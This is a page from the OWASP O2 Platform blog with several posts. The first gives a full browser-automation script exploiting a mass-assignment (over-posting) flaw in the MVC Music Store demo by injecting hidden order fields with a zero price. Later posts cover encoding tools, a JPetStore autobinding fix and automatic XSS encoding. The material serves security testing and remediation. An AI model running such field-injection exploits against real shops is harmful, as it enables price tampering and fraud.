OWASP O2 Platform Blog

Exploiting Microsoft MVC vulnerabilities using OWASP O2 Platform

In this post, I’m going to show the value added  of using OWASP O2 Platform to exploit (and therefore correct/detect/prevent) vulnerabilities on top of Microsoft MVC platform.

Background

The industry has broadly adopting MVC architecture to build Web  applications during the last years  for several reasons, including the rapid  and efficient paradigm it represents to build really good applications.

Few weeks ago , a user exploited a vulnerability at  GitHub . The vulnerability exploited in this case, represents an old issue in the MVC architecture of different frameworks including Rails. This vulnerability is often named mass assignment , but it is also known as over posting or autobinding. Dinis Cruz  wrote an interesting post about this vulnerability in the Spring MVC framework in this post http://diniscruz.blogspot.com/2012/04/we-need-security-focused-saststatic.html.

In this same line, Dinis wrote a really nice O2 script that allows to exploit this vulnerability on top of Microsoft MVC . In order to illustrate this use case of OWASP O2 platform, Dinis used a demo MVC application named MVC Music Store    hosted in CodePlex( this is a great application that shows the use of this architecture).

Once you have this application up and running , then you probably are going to see something like this:

ASP.NET MVC MUSIC STORE

ASP.NET MVC MUSIC STORE

O2 Script to exploit the vulnerability

Dinis wrote the following script below to exploit this vulnerability, basically it is an IE automation script very powerful to overposting some post form fields and update them. Let’s see the script and then a quick explanation about it.

var ie = "ie_Fyila".o2Cache(()=> panel.clear().add_IE()).silent(true);  // ie ramdon value for o2cache makes this object to unique amongst multiple instances of this control

var site = "http://localhost:26641";

Action<string,string,string> register =
(username, password,email)=>{
ie.open(site + "/Account/Register");
ie.field("UserName").value(username);
ie.field("Email").value(email);
ie.field("Password").value(password);
ie.field("ConfirmPassword").value(password);
ie.button("Register").click();
};

Action loginAsTestUser =
()=>{
var user1_name = "test_user".add_RandomLetters(5);
var user1_email = "test@testuser.com";
var user1_pwd = "a pwd".add_RandomLetters(10);
register(user1_name, user1_pwd, user1_email);

};

Action selectTestProductAndCheckout =
()=>{
ie.link("Rock").scrollIntoView().flash().click();
//Selection Led Zeppeling I album
ie.link(" Led Zeppelin I ").scrollIntoView().flash().click();
ie.link("Add to cart").flash().click();
ie.link("Checkout >>").flash().click();

};

Action populateSubmitOrder =
()=>{
var Address     = "Foo Address";
var City         = "Foo City";
var Country     = "Foo Country";
var Email         = "Email@email.com";
var FirstName     = "Foo FirstName";
var LastName     = "Foo LastName";
var Phone         = "Foo Phone";
var PostalCode     = "AAA BBB";
var State         = "Foo State";
var PromoCode     = "FREE"; // currently hard coded promotional code

ie.field("Address").value(Address);
ie.field("City").value(City);
ie.field("Country").value(Country);
ie.field("Email").value(Email);
ie.field("FirstName").value(FirstName);
ie.field("LastName").value(LastName);
ie.field("Phone").value(Phone);
ie.field("PostalCode").value(PostalCode);
ie.field("PromoCode").value(PromoCode);
ie.field("State").value(State);
};

Action submitOrder =
()=>{
ie.button("Submit Order").click();
};

Action createOrderUsingTestUser =
()=>{
loginAsTestUser();
selectTestProductAndCheckout();
populateSubmitOrder();
submitOrder();
};

Action injectField =
(fieldName, value)=>{
ie.field("FirstName")
.injectHtml_afterEnd("
{0}:<input type="text" name="{0}" value="{1}" />".format(fieldName, value));
};

Action runExploit_1 =
()=>{
loginAsTestUser();
selectTestProductAndCheckout();
populateSubmitOrder();

//the following simulates adding this to the POST request following URI Convention:
//OrderDetails[0].OrderDetailId=1&OrderDetails[0].OrderId=1&OrderDetails[0].AlbumId=1&OrderDetails[0].Quantity=1&OrderDetails[0].UnitPrice=5&
injectField("OrderDetails[0].OrderDetailId","1");
injectField("OrderDetails[0].OrderId","1");
injectField("OrderDetails[0].AlbumId","1");
injectField("OrderDetails[0].Quantity","1");
injectField("OrderDetails[0].UnitPrice","0");
submitOrder();
ie.open(site + "/OrderDetails");
};

runExploit_1();

return "done";

//O2File:WatiN_IE_ExtensionMethods.cs
//O2Ref:WatiN.Core.1x.dll
//O2Tag_DontAddExtraO2Files;

If you look at this script, you will notice that it purpose is to register a user, select an album and submit the order, but  look that the script injects other  fields (related to other album),  so we are buying just one album but  we are also submitting a second one by injecting it as a part of the HTML form fields, and guess what? it is for free :).

This is the HTTP Post form field  that were sent to the server:

HTTP form post fields using Fiddler

HTTP form post fields using Fiddler

And this is how our order detail looks like :

Order details

Order details

How was this  possible?


If you look at  the Orders model, you will notice that this model has some properties and the last one is a list of OrderDetails and lf you look carefully, then you will see that this property is not protected against modifications (like using ReadOnly attributes) . That makes possible that we could send some other fields as a part of the request.

//Some properties of the Orders model.
[Required(ErrorMessage = "Email Address is required")]
[DisplayName("Email Address")]
[RegularExpression(@"[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}",ErrorMessage = "Email is is not valid.")]
[DataType(DataType.EmailAddress)]
public string Email { get; set; }
[ScaffoldColumn(false)]
public decimal Total { get; set; }

public List<OrderDetail> OrderDetails { get; set; }

The Checkout controller accepts a FormCollection as a parameter and it holds all the HTTP POST form fields, from the below image you can see that it has the data for the second order.

Checkout controller

Checkout controller

Final thoughts

This script is one of the many examples of the advantage of using O2 scripts, we were able to exploit  a vulnerability on top of Microsoft MVC.  The script is quite simple and easy to read, apart from that, it is powerful enough to identify this kind of problems. The IE automation section in OWASP O2 Platform represents a new paradigm in the automation process and it power allow us to make Web Application Security visible.

As you can see, it is easy to fall in this vulnerability, probably you can argue that this kind of issue might be solved using good design and best practices and you probably are right, but we are vulnerable when somebody could forget all the mechanisms to write secure code, specially when working with this  kind of architecture.

I would like to thank to Dinis Cruz  for making this script available and all his work in the O2 Platform project.

May 20, 2012 Posted by | .NET, ASP.NET MVC, Fixing Code, IE Automation, Vulnerabilities, WatiN | , , , | 5 Comments

Creating the “Util – AspNet Control Encodings (Raw Format).h2” script

Here is the sequence that created the script described in Consuming ASP.NET Control Encoding mappings and visualizing them – Part 1 which visualizes the html based ASP.NET control encodings into an serializable C# class.

The ultimate objective is to create a complete/comprehensive ASP.NET Web Controls XSS Mappings object, and this is just the first step on that direction

Fetching Url contents, save as local file and show in IE

var sourceFile = "http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-components-postattachments/00-08-91-89-96/asp.net_5F00_control_5F00_encoding.htm";
var htmlContents = sourceFile.uri().getHtml();
var tempFile = htmlContents.saveAs( "".tempDir().pathCombine("asp.net_control_encodings.htm"));
//var topPanel = O2Gui.open<Panel>("{name}",700,400);
var topPanel = panel.clear().add_Panel();
var ie = topPanel.add_IE_with_NavigationBar().silent(false); 
ie.open(tempFile);
return tempFile;

//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

the url contents was saved to C:\O2\_tempDir\11-8-2011\asp.net_control_encodings.htm

Viewing saved file

//var topPanel = O2Gui.open<Panel>("{name}",700,400);
var tempFile = @"C:\O2\_tempDir\11-8-2011\asp.net_control_encodings.htm";
var topPanel = panel.clear().add_Panel();
var ie = topPanel.add_IE_with_NavigationBar().silent(false); 
ie.open(tempFile);
return tempFile;

//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

looking at the Html Elements of the IE Object

//var topPanel = O2Gui.open<Panel>("{name}",700,400);
var tempFile = @"C:\O2\_tempDir\11-8-2011\asp.net_control_encodings.htm";
var topPanel = panel.clear().add_Panel();
var ie = topPanel.add_IE_with_NavigationBar().silent(false); 
ie.open(tempFile);

ie.showElementsInTreeView();

return "ok";

//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

Getting all rows (TR Element) – slow mode

//var topPanel = O2Gui.open<Panel>("{name}",700,400);
var tempFile = @"C:\O2\_tempDir\11-8-2011\asp.net_control_encodings.htm";
var topPanel = panel.clear().add_Panel();
var ie = topPanel.add_IE_with_NavigationBar().silent(false); 
ie.open(tempFile);

return ie.elements("TR");

return "ok";

//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

Getting the first row  – slow mode

//var topPanel = O2Gui.open<Panel>("{name}",700,400);
var tempFile = @"C:\O2\_tempDir\11-8-2011\asp.net_control_encodings.htm";
var topPanel = panel.clear().add_Panel();
var ie = topPanel.add_IE_with_NavigationBar().silent(false); 
ie.open(tempFile);
ie.details();

var rows=  ie.elements("TR");
return rows[0];

//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

Getting all rows – faster method

//var topPanel = O2Gui.open<Panel>("{name}",700,400);
var tempFile = @"C:\O2\_tempDir\11-8-2011\asp.net_control_encodings.htm";
var topPanel = panel.clear().add_Panel();
var ie = topPanel.add_IE_with_NavigationBar().silent(false); 
ie.open(tempFile);
ie.details();
return ie.IE.TableRows;

//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

show rows data in treeView

//var topPanel = O2Gui.open<Panel>("{name}",700,400);
var tempFile = @"C:\O2\_tempDir\11-8-2011\asp.net_control_encodings.htm";
var topPanel = panel.clear().add_Panel();
var ie = topPanel.add_IE_with_NavigationBar().silent(false); 
ie.open(tempFile);
var rowsText = new List<string>();
foreach(var row in ie.IE.TableRows)
    rowsText.add(row.str());
var treeView = topPanel.insert_Left()
                       .add_TreeView()
                       .add_Nodes(rowsText);
return "ok";

//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

show rows data as a strongly type object in a table view: 

//var topPanel = O2Gui.open<Panel>("{name}",700,400);
var tempFile = @"C:\O2\_tempDir\11-8-2011\asp.net_control_encodings.htm";
var topPanel = panel.clear().add_Panel();
var ie = topPanel.add_IE_with_NavigationBar().silent(false); 
ie.open(tempFile);

var mappedData =  (from row in ie.IE.TableRows
                  select new {
                                 type = row.TableCells[0].str(),
                                 propertyName = row.TableCells[1].str(),
                                 attributeName_Script = row.TableCells[2].str(),
                                 htmlEncode_scriptEncode = row.TableCells[3].str(),
                                 urlEncode = row.TableCells[4].str()
                              }).toList();

topPanel.insert_Left()
        .add_TableList()
        .show(mappedData);

return     mappedData.save();   

//using WatiN.Core
//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

Create a Dynamic type (won’t work due to serialization issues)

var dynamicTypeBuilder = "AspNetControlEncodings".dynamicType();
dynamicTypeBuilder.add_Properties<string>("type" , "propertyName", "attributeName_Script", "htmlEncode_scriptEncode","urlEncode");
var AspNetControlEncodings = dynamicTypeBuilder.create();
var encodingsList = AspNetControlEncodings.ctor().wrapOnList();

Populate data in a class that can be serialized

In the file AspNetControlEncodings.cs Create the class:

namespace O2.XRules.Database.Utils
{
    public class AspNetControlEncodings_Raw : List<AspNetControlEncoding_Raw>
    {   
                               
     }
   
    public class AspNetControlEncoding_Raw
    {   
        [XmlAttribute] public string @Type                         { get; set;}
        [XmlAttribute] public string PropertyName                { get; set;}
        [XmlAttribute] public string AttributeName_Script        { get; set;}
        [XmlAttribute] public string HtmlEncode_scriptEncode    { get; set;}
        [XmlAttribute] public string UrlEncode                    { get; set;}
    }
   
}

The AspNetControlEncodings.cs is now used/consumed by this script

//var topPanel = O2Gui.open<Panel>("{name}",700,400);

var tempFile = @"C:\O2\_tempDir\11-8-2011\asp.net_control_encodings.htm";
var topPanel = panel.clear().add_Panel();
var ie = topPanel.add_IE_with_NavigationBar().silent(false); 
ie.open(tempFile);

var mappedData =  (from row in ie.IE.TableRows
                  select new AspNetControlEncoding_Raw {
                                 @Type = row.TableCells[0].str(),
                                 PropertyName = row.TableCells[1].str(),
                                 AttributeName_Script = row.TableCells[2].str(),
                                 HtmlEncode_scriptEncode = row.TableCells[3].str(),
                                 UrlEncode = row.TableCells[4].str()
                              }).toList();

topPanel.insert_Left()
        .add_TableList()
        .show(mappedData);

return     mappedData.save();   

return "ok";
//using WatiN.Core
//O2File:WatiN_IE_ExtensionMethods.cs
//O2File:AspNetControlEncodings.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

The data will be shown in a table list and a temp file will be created. In this case C:\O2\_tempDir\11-9-2011\tmp3A1F.tmp.xml (which will be save as AspNetControlEncodings_Raw.xml in the O2 Scripts folder)

show data in TableList directly (must faster)

var topPanel = panel.clear().add_Panel();
var tempFile = @"C:\O2\_tempDir\11-9-2011\tmp3A1F.tmp.xml";

var mappedData = tempFile.load<AspNetControlEncodings_Raw>();

topPanel.add_TableList()
        .show(mappedData);

return     mappedData.save();   
//using WatiN.Core
//O2File:WatiN_IE_ExtensionMethods.cs
//O2File:AspNetControlEncodings.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

Show data in popup form

var topPanel = O2Gui.open<Panel>("Util - AspNet ControlEncodings (Raw Format) ",700,400);

var mappedData  = "AspNetControlEncodings_Raw.xml".local().load<AspNetControlEncodings_Raw>();
topPanel.add_TableList()
        .show(mappedData);

//O2File:AspNetControlEncodings.cs

FinalScript:

ColorCoding data in popupForm (this is the Final version of the Script)

//var topPanel = panel.clear().add_Panel();
var topPanel = O2Gui.open<Panel>("Util - AspNet ControlEncodings (Raw Format)",700,400);

var mappedData  = "AspNetControlEncodings_Raw.xml".local().load<AspNetControlEncodings_Raw>();
var tableList = topPanel.add_TableList()
                        .show(mappedData);
tableList.add_Column("vuln");   
                   
tableList.visible(false);                       
foreach(var row in tableList.rows())
{
    var values = row.values();
    if (values[2] == "na")
        row.textColor(Color.Black); 
    else if (values[3].toBool() && values[4].toBool())
        row.textColor(Color.DarkGreen);
    else if (values[3].toBool() || values[4].toBool())
        row.textColor(Color.DarkOrange);
    else
    {
        row.textColor(Color.Red);                       
        row.SubItems[1].Text = "* " + values[1];    
    }
}
tableList.visible(true);
return "ok";
//O2File:AspNetControlEncodings.cs

November 16, 2011 Posted by | .NET, ASP.NET Controls, Fixing Code | 1 Comment

O2 Script with Web Encoder and Decoder (with AntiXss Support)

A couple days ago I needed to do a number of Encodings/Decodings  in sequence (Encoded Text -> UrlDecode -> UrlDecode-> HtmlDecode), and since there was no easy way to do that automatically with other tools, I wrote the “Util – Web Encoder (with AntiXss Support).h2” script which looks like this:

Here is the method that runs the transformation (and show what is currently supported)

Func<string,string, string> applyTransformation =
    (type, text)=>{
                    if (type.valid() && text.valid() )
                    {
                        switch(type)
                        {
                            case "none":                                break;
                            case "HtmlDecode":                            return text.htmlDecode();
                            case "HtmlEncode":                            return text.htmlEncode();
                            case "UrlDecode":                            return text.urlDecode();
                            case "UrlEncode":                            return text.urlEncode();       
                           
                            case "AntiXss.HtmlEncode":                     return Encoder.HtmlEncode(text);
                            case "AntiXss.UrlEncode":                     return Encoder.UrlEncode(text);
                            case "AntiXss.JavaScriptEncode":             return Encoder.JavaScriptEncode(text);   
                            case "AntiXss.CssEncode":                     return Encoder.CssEncode(text);   
                            case "AntiXss.HtmlAttributeEncode":         return Encoder.HtmlAttributeEncode(text);   
                            case "AntiXss.HtmlFormUrlEncode":             return Encoder.HtmlFormUrlEncode(text);   
                            case "AntiXss.XmlAttributeEncode":             return Encoder.XmlAttributeEncode(text);   
                            case "AntiXss.XmlEncode":                     return Encoder.XmlEncode(text);   
                            case "AntiXss.VisualBasicScriptEncode":     return Encoder.VisualBasicScriptEncode(text);   
                            case "AntiXss.LdapDistinguishedNameEncode": return Encoder.LdapDistinguishedNameEncode(text);   
                            case "AntiXss.LdapFilterEncode":             return Encoder.LdapFilterEncode(text);   
                           
                            case "Sanitizer.GetSafeHtml":                return Sanitizer.GetSafeHtml(text);
                            case "Sanitizer.GetSafeHtmlFragment":        return Sanitizer.GetSafeHtmlFragment(text);
                           
                            default:
                                return text + "  not supported: {0}".format(type);
                        }                   
                    }
                    return text;
                  };

This uses the latest version of the AntiXSS library, including the new HtmlSanitizationLibrary.dll which has the GetSafeHtml* methods and looks really powerful.

Here is the entire code of this script:


var topPanel = O2Gui.open<Panel>("Util - Web Encoder (with AntiXss Support)",1000,400);
//var topPanel = panel.clear().add_Panel();
var configPanel = topPanel.insert_Above(40,"Config");
var sourceText = topPanel.add_GroupBox("Source Text").add_SourceCodeViewer(); 
var transformedText = topPanel.insert_Right("Transformed Text").add_SourceCodeViewer();
 
var transformationsAvailable = new List<string> { "none",
                                                  "HtmlDecode",    "HtmlEncode","UrlDecode", "UrlEncode",
                                                  "AntiXss.HtmlEncode",              "AntiXss.UrlEncode",                      "AntiXss.JavaScriptEncode",      "AntiXss.CssEncode",
                                                  "AntiXss.HtmlAttributeEncode",    "AntiXss.HtmlFormUrlEncode",             "AntiXss.XmlAttributeEncode",    "AntiXss.XmlEncode",
                                                  "AntiXss.VisualBasicScriptEncode","AntiXss.LdapDistinguishedNameEncode",    "AntiXss.LdapFilterEncode",
                                                  "Sanitizer.GetSafeHtml",             "Sanitizer.GetSafeHtmlFragment"};
var transformMode_1 = "";
var transformMode_2 = "";
var transformMode_3 = "";
Func<string,string, string> applyTransformation =
    (type, text)=>{
                    if (type.valid() && text.valid() )
                    {
                        switch(type)
                        {
                            case "none":                                break;
                            case "HtmlDecode":                            return text.htmlDecode();
                            case "HtmlEncode":                            return text.htmlEncode();
                            case "UrlDecode":                            return text.urlDecode();
                            case "UrlEncode":                            return text.urlEncode();       
                           
                            case "AntiXss.HtmlEncode":                     return Encoder.HtmlEncode(text);
                            case "AntiXss.UrlEncode":                     return Encoder.UrlEncode(text);
                            case "AntiXss.JavaScriptEncode":             return Encoder.JavaScriptEncode(text);   
                            case "AntiXss.CssEncode":                     return Encoder.CssEncode(text);   
                            case "AntiXss.HtmlAttributeEncode":         return Encoder.HtmlAttributeEncode(text);   
                            case "AntiXss.HtmlFormUrlEncode":             return Encoder.HtmlFormUrlEncode(text);   
                            case "AntiXss.XmlAttributeEncode":             return Encoder.XmlAttributeEncode(text);   
                            case "AntiXss.XmlEncode":                     return Encoder.XmlEncode(text);   
                            case "AntiXss.VisualBasicScriptEncode":     return Encoder.VisualBasicScriptEncode(text);   
                            case "AntiXss.LdapDistinguishedNameEncode": return Encoder.LdapDistinguishedNameEncode(text);   
                            case "AntiXss.LdapFilterEncode":             return Encoder.LdapFilterEncode(text);   
                           
                            case "Sanitizer.GetSafeHtml":                return Sanitizer.GetSafeHtml(text);
                            case "Sanitizer.GetSafeHtmlFragment":        return Sanitizer.GetSafeHtmlFragment(text);
                           
                            default:
                                return text + "  not supported: {0}".format(type);
                        }                   
                    }
                    return text;
                  };
                 
                 
Action applyTransformations =
    ()=>{
            var originalText = sourceText.get_Text();
            var result = applyTransformation(transformMode_1,originalText);
            result = applyTransformation(transformMode_2, result);
            result = applyTransformation(transformMode_3, result);
            transformedText.set_Text(result);            
        };

sourceText.onTextChange(
    (text)=>{    
                applyTransformations();
            }); 
 
configPanel.add_Label("Color Code the text as").top(3)
           .append_Control<ComboBox>().dropDownList().top(0)
                                         .add_Items(".xml",".html",",cs")                                        
                                         .onSelection((value)=> {
                                                                     transformedText.editor().setDocumentHighlightingStrategy(value.str());
                                                                     sourceText.editor().setDocumentHighlightingStrategy(value.str());
                                                                 })
                                         .selectFirst()
                                        
            .append_Label("Transform using:").top(3).autoSize() 
            .append_Control<ComboBox>().dropDownList().top(0).width(170).comboBoxHeight(250)
                                         .add_Items(transformationsAvailable)
                                         .onSelection<string>((value)=> { transformMode_1 = value; applyTransformations(); } )
                                         .selectFirst()
                                        
            .append_Label("and:").top(3).autoSize()
            .append_Control<ComboBox>().dropDownList().top(0).width(170).comboBoxHeight(250)
                                         .add_Items(transformationsAvailable)
                                         .onSelection<string>((value)=> { transformMode_2 = value; applyTransformations(); } )
                                        
            .append_Label("and:").top(3).autoSize() 
            .append_Control<ComboBox>().dropDownList().top(0).width(170).comboBoxHeight(250)
                                         .add_Items(transformationsAvailable)
                                         .onSelection<string>((value)=> { transformMode_3 = value; applyTransformations(); } )
                                         ;
 
sourceText.set_Text("this is a <b> test </b>");

return "done";
//using Microsoft.Security.Application
//O2Ref:AntiXSSLibrary.dll
//O2Ref:HtmlSanitizationLibrary.dll

November 16, 2011 Posted by | .NET, AntiXss, Fixing Code | Leave a comment

Fixing one of JPetStore’s AutoBinding Vulnerabilities (changing the purchase price)

JPetStore (test application included with the Spring Framework) has a couple Autobinding vulnerabilities. The objective of this post is to present a solution for fixing them that meets the following criteria:

  • minumal code changes on the controllers
  • no code changes on the views
  • dramatically reduction of the size of the binded object (the ModelAttribute, CommandClass),
  • matches the expected web-layer inputs (i.e. the attack surface)
  • supports UnitTesting
  • doesn’t rely on Spring Framework’s recommended solution (which is based on the SetAllowedFields and SetDisallowedFields)

Here are a number of posts that give the brackground to this problem and document the O2 Script I’m using to test the fix:

The vulnerability we are going to fix is the one that allows (amongst other things) the modification of the TotalPrice value of our shopping cart (which is not a good thing 🙂 )

This vulnerability is graphically described in this video:

… and it is fundamentally created by the fact that the setTotalPrice(…) method is exposed  in the Order class which is exposed in the OrderForm class (which is used as the command class for the OrderFormController).

So here is the fix.

1) The first step is to create a class that can be used on as the CommandClass. Trying to give it a name that made sense for what is was going to do, I called it OrderData and place it in a package called …jpetstore.domain.fromWeb (vs the original OrderForm class in the package … jpetstore.domain)

package org.springframework.samples.jpetstore.domain.fromWeb;
import org.springframework.samples.jpetstore.domain.Order;
import org.springframework.samples.jpetstore.web.spring.OrderForm;

public class OrderData {

private OrderForm orderForm;

public OrderData(OrderForm orderForm)
{
this.orderForm = orderForm;
}

public static OrderForm getOrderForm(Object command)
{
OrderData orderData = (OrderData)command;
return orderData.orderForm;
}
//bindable values
public OrderData getOrder()
{
return this;
}

....

}

This expects to receive an OrderForm object in its contructor which it will store in a private field.

The static getOrderForm() method is there to help the casting of the object given to us by the Spring Framework

2) On the FormBackingObject method return an OrderData object instead of an OrderForm object (which is vulnerable to the AutoBinding injection) and put on the Http Request attributes the original orderForm  object (this will allow the views to have access to the original orderForm , which they expec,t, and prevent us from needing to make code changes to the view (the fact that views should have access to massive domain objects is a topic for another time))

protected Object formBackingObject(HttpServletRequest request) throws ModelAndViewDefiningException {


UserSession userSession = (UserSession) request.getSession().getAttribute("userSession");
Cart cart = (Cart) request.getSession().getAttribute("sessionCart");
if (cart != null) {
// Re-read account from DB at team's request.
Account account = this.petStore.getAccount(userSession.getAccount().getUsername());
OrderForm orderForm = new OrderForm();
orderForm.getOrder().initOrder(account, cart);

request.setAttribute("orderForm", orderForm);     // AutoBinding fix
return new OrderData(orderForm);                // AutoBinding fix
}
else {
ModelAndView modelAndView = new ModelAndView("Error");
modelAndView.addObject("message", "An order could not be created because a cart could not be found.");
throw new ModelAndViewDefiningException(modelAndView);
}
}

3) modify all locations that originally received the OrderFrom object from SpringFramework in order to handle the fact that it is now an OrderData object (this uses the static method getOrderForm in order to make the code change short and sweet)

> onBindAndValidate

protected void onBindAndValidate(HttpServletRequest request, Object command, BindException errors, int page) {
if (page == 0 && request.getParameter("shippingAddressRequired") == null) {

//OrderForm orderForm = (OrderForm) command;            // AutoBinding fix
OrderForm orderForm = OrderData.getOrderForm(command);     // AutoBinding fix
orderForm.setShippingAddressRequired(false);
}
}

> on getTargetPage:

protected int getTargetPage(HttpServletRequest request, Object command, Errors errors, int currentPage) {
//OrderForm orderForm = (OrderForm) command;                    // AutoBinding fix
OrderForm orderForm = OrderData.getOrderForm(command);            // AutoBinding fix
if (currentPage == 0 && orderForm.isShippingAddressRequired()) {
return 1;
}
else {
return 2;
}
}

>processFinish

protected ModelAndView processFinish(
HttpServletRequest request, HttpServletResponse response, Object command, BindException errors) {
//OrderForm orderForm = (OrderForm) command;                    // AutoBinding fix
OrderForm orderForm = OrderData.getOrderForm(command);            // AutoBinding fix
this.petStore.insertOrder(orderForm.getOrder());
request.getSession().removeAttribute("sessionCart");
Map model = new HashMap();
model.put("order", orderForm.getOrder());
model.put("message", "Thank you, your order has been submitted.");
return new ModelAndView("ViewOrder", model);
}

4) finally add to the FormData object the getters and setters of the variables that we want to expose.

A good place to find out which variables to expose is to look at the values that are submited from the web pages, in this case:

Here is the full code of this class:

package org.springframework.samples.jpetstore.domain.fromWeb;
import org.springframework.samples.jpetstore.domain.Order;
import org.springframework.samples.jpetstore.web.spring.OrderForm;

public class OrderData {

private OrderForm orderForm;

public OrderData(OrderForm orderForm)
{
this.orderForm = orderForm;
}

public static OrderForm getOrderForm(Object command)
{
OrderData orderData = (OrderData)command;
return orderData.orderForm;
}

//bindable values
public void setShippingAddressRequired    (boolean shippingAddressRequired)
{
this.orderForm.setShippingAddressRequired(shippingAddressRequired);
}

public OrderData getOrder()
{
return this;
}

public void setCardType            (String cardType)             { this.orderForm.getOrder().setCardType            (cardType);}
public void setCreditCard        (String creditCard)         { this.orderForm.getOrder().setCreditCard        (creditCard); }
public void setExpiryDate        (String expiryDate)            { this.orderForm.getOrder().setExpiryDate        (expiryDate); }
public void setBillToFirstName    (String billToFirstName)     { this.orderForm.getOrder().setBillToFirstName    (billToFirstName); }
public void setBillToLastName    (String billToLastName)     { this.orderForm.getOrder().setBillToLastName    (billToLastName); }
public void setBillAddress1        (String billAddress1)         { this.orderForm.getOrder().setBillAddress1        (billAddress1); }
public void setBillAddress2        (String billAddress1)         { this.orderForm.getOrder().setBillAddress2        (billAddress1); }
public void setBillCity            (String billCity)             { this.orderForm.getOrder().setBillCity            (billCity); }
public void setBillState        (String billState)             { this.orderForm.getOrder().setBillState        (billState); }
public void setBillZip            (String billZip)            { this.orderForm.getOrder().setBillZip            (billZip); }
public void setBillCountry        (String billCountry)         { this.orderForm.getOrder().setBillCountry        (billCountry); }

public String getCardType        ()             { return this.orderForm.getOrder().getCardType         ();}
public String getCreditCard        ()             { return this.orderForm.getOrder().getCreditCard     ();}
public String getExpiryDate        ()             { return this.orderForm.getOrder().getExpiryDate     ();}
public String getBillToFirstName()             { return this.orderForm.getOrder().getBillToFirstName();}
public String getBillToLastName    ()             { return this.orderForm.getOrder().getBillToLastName ();}
public String getBillAddress1    ()             { return this.orderForm.getOrder().getBillAddress1     ();}
public String getBillAddress2    ()             { return this.orderForm.getOrder().getBillAddress2     ();}
public String getBillCity        ()             { return this.orderForm.getOrder().getBillCity         ();}
public String getBillState        ()             { return this.orderForm.getOrder().getBillState         ();}
public String getBillZip        ()             { return this.orderForm.getOrder().getBillZip         ();}
public String getBillCountry    ()             { return this.orderForm.getOrder().getBillCountry     ();}
}

The getOrder() method which returns the OrderData object, is a cool trick to trick the StringFramwork (which will come  looking for an  getOrder() method) and prevent us from creating multiple class files (which is where blind spots tend to occur). I like the fact that I can put all bindable variables in one location/file. There is a small side effect that now we can provide multiple order.* values, ie.  order.order.order.order.order.billCity (I wonder if there is DoS angle here)

And that’s it (this example is a bit simpler since JPetStore doesn’t use a very complex binding wiring (for example no config files to change),  but I will provide more examples later that handle the other variations.

Now, with this fix in place we can verify the fix by running the web automation script that previously allowed us to control the purchase price, and now it doesn’t 🙂

exploit variation #1

exploit variation #2

November 9, 2011 Posted by | Fixing Code, Java, JPetStore, Spring MVC | Leave a comment

Fixing/Encoding .NET code in real time (in this case Response.Write)

Here is a example of what we should be doing on Dev’s environments in order to make security invisible/automatic to them.

This script will automatically add an Encoding function to Response.Write so that it is always encoded. In this case the patch is done in real time, but it could also be done behind the scenes or on code check in (note that if you are a developer there is no way to avoid it, since the code patch happens automatically).

The script is called “Fixing Response.Write.h2” and here is a video of it in action:

This is how it works:

1) when the script executes you will have two code windows:  on the left is the original code, on the right is the patched code (initially they both look the same)

2) make  a change on the left window  (look in line 21 on the left and line 18 on the right) and note that both windows code is syncronized

3) Unless you type Response.Write, nothing major happens to the code. Note how the Response.End() we just wrote was not changed (line 21 on left, line 18 on right), but on the previous line, the Response.Write was protected with a call to AntiXss.HtmlEncode (line 20 on left and line 17 on on right):

4) Now type on line 20 the Response.Write command (maybe with an XSS payload) and see how it is automatically wrapped in AntiXss.HtmlEncode (it is pretty cool to do this in real time 🙂  )

How does this work?

This was done using O2’s .NET Static Analysis engine which provices easy access to the code’s structure and exposes a number of helper methods to create refactored code:

//panel.clear();
//var topPanel = panel;
var topPanel = O2Gui.open<Panel>("Fixing Response.Write",1000,500);
var controls = topPanel.add_1x1("Original Code", "Patched Code");
var originalCode = controls[0].add_SourceCodeEditor();
var patchedCode = controls[1].add_SourceCodeEditor();</pre>
&nbsp;

originalCode.eDocumentDataChanged+= (text)=>
{
if (text.valid())
{
var csharpAst = text.csharpAst();
//show.info(csharpAst.CompilationUnit.iNodes<InvocationExpression>());

foreach(var invocationExpression in csharpAst.CompilationUnit.iNodes<InvocationExpression>())
{
var memberReference = invocationExpression.TargetObject as MemberReferenceExpression;
if (memberReference.notNull() && memberReference.MemberName == "Write")
{
var className = "AntiXss";
var methodName = "HtmlEncode";
var newMemberReference = new MemberReferenceExpression(new IdentifierExpression(className),methodName );
var newInvocationExpression = new InvocationExpression(newMemberReference);
newInvocationExpression.Arguments.AddRange(invocationExpression.Arguments);
invocationExpression.Arguments.Clear();
invocationExpression.Arguments.Add(newInvocationExpression );
}
csharpAst.CompilationUnit.add_Using("Microsoft.Security.Application");
}

var patchedCSharpCode = csharpAst.CompilationUnit.csharpCode();
patchedCSharpCode = @"//O2Ref:AntiXSSLibrary.dll".line() + patchedCSharpCode; // so that it compiles OK
var patchedCSharpFile = patchedCSharpCode.saveWithExtension(".cs");
patchedCode.open(patchedCSharpFile);
}
};

var originalFile = @"Request.Write.cs".local();
originalCode.open(originalFile);

//using ICSharpCode.NRefactory.Parser
//using ICSharpCode.NRefactory.Ast
//using ICSharpCode.NRefactory
//using O2.API.AST.CSharp;
//using O2.API.AST.ExtensionMethods;
//using O2.API.AST.ExtensionMethods.CSharp;
//O2Ref:O2_API_AST.dll

November 7, 2011 Posted by | .NET, Fixing Code, videos, XSS | | Leave a comment